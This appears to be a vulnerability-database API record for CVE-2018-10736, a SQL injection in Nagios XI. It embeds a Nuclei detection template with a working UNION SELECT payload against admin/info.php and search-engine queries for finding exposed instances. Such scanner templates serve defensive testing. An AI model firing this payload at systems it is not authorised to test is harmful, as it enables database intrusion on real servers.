{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-10736/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-10736/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-10736/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-10736/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-10736/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-10736"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-10736"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-10736.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2018-10736\n\ninfo:\n  name: NagiosXI <= 5.4.12 - SQL injection\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/info.php key1 parameter.\n  impact: |\n    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.\n  remediation: |\n    Upgrade to Nagios XI version 5.4.13 or later.\n  reference:\n    - https://github.com/0ps/pocassistdb\n    - https://github.com/jweny/pocassistdb\n    - https://vulners.com/seebug/SSV:97266\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2018-10736\n    cwe-id: CWE-89\n    epss-score: 0.41436\n    epss-percentile: 0.9868\n    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: nagios\n    product: nagios_xi\n    shodan-query: http.title:\"nagios xi\"\n    fofa-query:\n      - app=\"Nagios-XI\"\n      - title=\"nagios xi\"\n      - app=\"nagios-xi\"\n    google-query: intitle:\"nagios xi\"\n  tags: cve,cve2018,nagios,sqli,vuln,vkev\nvariables:\n  num: \"{{rand_int(2000000000, 2100000000)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{num}}))%23\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n# digest: 490a004630440220363cdab38aeec2353c395c1d031aa84f1464f23ae7adb48f8b774a3a345023380220214c4e125e1c09e0d85c244502b1189b577fc30326fa5dcf35a78dd8e3890c2f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-10736"
}